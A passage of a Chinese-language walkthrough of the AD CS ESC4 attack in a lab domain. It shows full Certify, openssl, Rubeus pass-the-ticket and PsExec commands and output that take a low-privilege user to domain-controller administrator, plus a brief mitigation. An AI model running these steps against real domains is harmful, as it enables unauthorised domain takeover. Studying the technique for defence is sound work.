pKICertificateTemplate} displayname : ESC4 name : ESC4 mspki-certificate-application-policy : 1.3.6.1.5.5.7.3.2 pkiextendedkeyusage : 1.3.6.1.4.1.311.10.3.4 showinadvancedviewonly : True cn : ESC4 flags : 131640 whenchanged : 10/1/2021 5:19:25 AM instancetype : 4 usncreated : 49238 objectguid : 88ea6142-28af-4b2d-99a8-bd9d10bc53ba mspki-ra-signature : 0 mspki-cert-template-oid : 1.3.6.1.4.1.311.21.8.15030743.11787675.8208785.16745297.429065.235.12902112.1610 0058 pkimaxissuingdepth : 0 objectcategory : CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,DC=contoso,DC=local dscorepropagationdata : {10/1/2021 5:09:12 AM, 10/1/2021 4:58:41 AM, 1/1/1601 12:00:00 AM} mspki-minimal-key-size : 2048 mspki-private-key-flag : 16842768 pkikeyusage : {32, 0} revision : 100 pkiexpirationperiod : {0, 64, 57, 135...} usnchanged : 49275 whencreated : 10/1/2021 4:57:23 AM mspki-template-schema-version : 2 pkioverlapperiod : {0, 128, 166, 10...} mspki-template-minor-revision : 4 pkicriticalextensions : 2.5.29.15 mspki-ra-application-policies : 1.3.6.1.4.1.311.10.3.4 PS C:\Tools> ``` ### 域提权 现在我们可以使用 ESC4 证书模板颁发具有高特权域帐户的身份验证用途证书。 首先,我们使用 `Certify.exe` 请求高特权域帐户证书: ``` C:\Tools>Certify.exe request /ca:ca01.contoso.local\contoso-ca01-ca /template:ESC4 /altname:Administrator@contoso.local _____ _ _ __ / ____| | | (_)/ _| | | ___ _ __| |_ _| |_ _ _ | | / _ \ '__| __| | _| | | | | |___| __/ | | |_| | | | |_| | \_____\___|_| \__|_|_| \__, | __/ | |___./ v1.0.0 [*] Action: Request a Certificates [*] Current user context : CONTOSO\david [*] No subject name specified, using current context as subject. [*] Template : ESC4 [*] Subject : CN=David, CN=Users, DC=contoso, DC=local [*] AltName : Administrator@contoso.local [*] Certificate Authority : ca01.contoso.local\contoso-ca01-ca [*] CA Response : The certificate had been issued. [*] Request ID : 24 [*] cert.pem : -----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA3hjP7WuFNVeHYRtKvsZzYBdZ1sshFXuZ5sWc/cByci3hw+KD --snip-- zMvpKPu7qAMxd83cnK0YDJW6JHHdJYfJKEkDOGKRLmKy3pAVmZGrhA== -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIGATCCBOmgAwIBAgITYAAAABhIrlHkiGiNxAAAAAAAGDANBgkqhkiG9w0BAQsF --snip-- zilBjRs= -----END CERTIFICATE----- [*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx Certify completed in 00:00:03.8813593 C:\Tools> ``` 然后,我们使用 `Certify.exe` 输出中的 `openssl` 命令将 pem 输出转换为 pfx 格式(在本文中我们将密码设置为“123456”): ``` user@ubuntu:~/Desktop$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out admin.pfx Enter Export Password: Verifying - Enter Export Password: user@ubuntu:~/Desktop$ ``` 如果您想检查证书信息,可以使用 `certutil.exe` 进行检查,如下所示: ``` C:\Tools>certutil -v -dump admin.pfx Enter PFX password: ================ Certificate 0 ================ ================ Begin Nesting Level 1 ================ Element 0: X509 Certificate: Version: 3 Serial Number: 600000001848ae51e488688dc4000000000018 Signature Algorithm: Algorithm ObjectId: 1.2.840.113549.1.1.11 sha256RSA Algorithm Parameters: 05 00 Issuer: CN=contoso-CA01-CA DC=contoso DC=local Name Hash(sha1): ab3a6d03e2da521aacc5f2712287ef271ffd5a87 Name Hash(md5): 800c927fb83466c80ce5466c127853e6 NotBefore: 9/30/2021 10:12 PM NotAfter: 9/30/2022 10:12 PM Subject: CN=David CN=Users DC=contoso DC=local Name Hash(sha1): e85f67a4aeba2f218a32cf2c4ffb8c69738dfaf0 Name Hash(md5): ec9d5e57fde746eebe0999705918d24d --snip-- Certificate Extensions: 10 1.3.6.1.4.1.311.21.7: Flags = 0, Length = 30 Certificate Template Information Template=ESC4(1.3.6.1.4.1.311.21.8.15030743.11787675.8208785.16745297.429065.235.12902112.16100058) Major Version Number=100 Minor Version Number=4 2.5.29.37: Flags = 0, Length = c Enhanced Key Usage Client Authentication (1.3.6.1.5.5.7.3.2) --snip-- 2.5.29.17: Flags = 0, Length = 2f Subject Alternative Name Other Name: Principal Name=Administrator@contoso.local --snip-- ``` 最后,我们使用生成的 pfx 文件执行 PKINIT Kerberos 身份验证和 Pass-the-Ticket 攻击: ``` C:\Tools>whoami /user USER INFORMATION ---------------- User Name SID ============= ============================================= contoso\david S-1-5-21-3654360273-254804765-2004310818-1104 C:\Tools>dir \\dc01.contoso.local\C$ Access is denied. C:\Tools>Rubeus.exe purge ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Purge Tickets Luid: 0x0 [+] Tickets successfully purged! C:\Tools>Rubeus.exe asktgt /user:Administrator /password:123456 /certificate:admin.pfx /ptt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Ask TGT [*] Using PKINIT with etype rc4_hmac and subject: CN=David, CN=Users, DC=contoso, DC=local [*] Building AS-REQ (w/ PKINIT preauth) for: 'contoso.local\Administrator' [+] TGT request successful! [*] base64(ticket.kirbi): doIF4jCCBd6gAwIBBaEDAgEWooIE7zCCBOthggTnMIIE46ADAgEFoQ8bDUN..... --snip-- [+] Ticket successfully imported! ServiceName : krbtgt/contoso.local ServiceRealm : CONTOSO.LOCAL UserName : Administrator UserRealm : CONTOSO.LOCAL StartTime : 9/30/2021 10:30:17 PM EndTime : 10/1/2021 8:30:17 AM RenewTill : 10/7/2021 10:30:17 PM Flags : name_canonicalize, pre_authent, initial, renewable, forwardable KeyType : rc4_hmac Base64(key) : XJo/1JOAKw1smiTuPRBjBg== ASREP (key) : F12DC0EEFA51E0F02DD60D6FE787392E C:\Tools>Rubeus.exe klist ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 Action: List Kerberos Tickets (Current User) [*] Current LUID : 0x6d35b UserName : david Domain : CONTOSO LogonId : 0x6d35b UserSID : S-1-5-21-3654360273-254804765-2004310818-1104 AuthenticationPackage : Kerberos LogonType : Interactive LogonTime : 9/30/2021 10:02:20 PM LogonServer : DC01 LogonServerDNSDomain : CONTOSO.LOCAL UserPrincipalName : david@contoso.local [0] - 0x12 - aes256_cts_hmac_sha1 Start/End/MaxRenew: 9/30/2021 10:30:17 PM ; 10/1/2021 8:30:17 AM ; 10/7/2021 10:30:17 PM Server Name : krbtgt/contoso.local @ CONTOSO.LOCAL Client Name : Administrator @ CONTOSO.LOCAL Flags : name_canonicalize, pre_authent, initial, renewable, forwardable (40e10000) C:\Tools>dir \\dc01.contoso.local\C$ Volume in drive \\dc01.contoso.local\C$ has no label. Volume Serial Number is BE65-6495 Directory of \\dc01.contoso.local\C$ 09/15/2018 12:19 AM PerfLogs 09/12/2021 07:34 PM Program Files 09/15/2018 02:06 AM Program Files (x86) 09/12/2021 04:09 AM Tools 09/12/2021 07:33 PM Users 09/30/2021 07:35 AM Windows 0 File(s) 0 bytes 6 Dir(s) 51,451,158,528 bytes free C:\Tools> ``` 现在我们通过滥用证书模板的 WriteDacl 实现域提权: ``` C:\Tools>whoami /user USER INFORMATION ---------------- User Name SID ============= ============================================= contoso\david S-1-5-21-3654360273-254804765-2004310818-1104 C:\Tools>PsExec64.exe -accepteula \\dc01.contoso.local cmd.exe PsExec v2.34 - Execute processes remotely Copyright (C) 2001-2021 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Version 10.0.17763.379] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>hostname DC01 C:\Windows\system32>whoami /user USER INFORMATION ---------------- User Name SID ===================== ============================================ contoso\administrator S-1-5-21-3654360273-254804765-2004310818-500 C:\Windows\system32> ``` ## 缓解措施 可以通过限制向证书模板对象分配 WriteDacl 权限来缓解此攻击方法。 ## 结论 在本文中,我们对易受攻击的模板执行了 ACE 攻击以进行域提权。 过度分配域对象的 WriteDacl 权限会导致域提权漏洞。 为了降低被攻击的可能性,必须加强证书模板的安全性。 ## 致谢 + Will Schroeder ([@harmj0y](https://twitter.com/harmj0y)) + Lee Christensen ([@tifkin_](https://twitter.com/tifkin_)) + Christoph Falta ([@cfalta](https://twitter.com/cfalta)) + Mike Jankowski-Lorek ([@MJL_PL](https://twitter.com/MJL_PL)) + Milosz Piasecki ([@CQUREAcademy](https://twitter.com/cqureacademy))
标签:ACL滥用, Active Directory, AD CS, AI合规, Black Hat, Conpot, ESC4, log2timeline, Multi-Agent, OSINT, Plaso, Terraform 安全, Web报告查看器, Windows安全, WriteDacl, 协议分析, 域提权, 域渗透, 安全测试工具, 安全防护, 权限提升, 漏洞分析, 电子数据取证, 访问控制列表, 证书服务, 证书模板, 超级时间线, 路径探测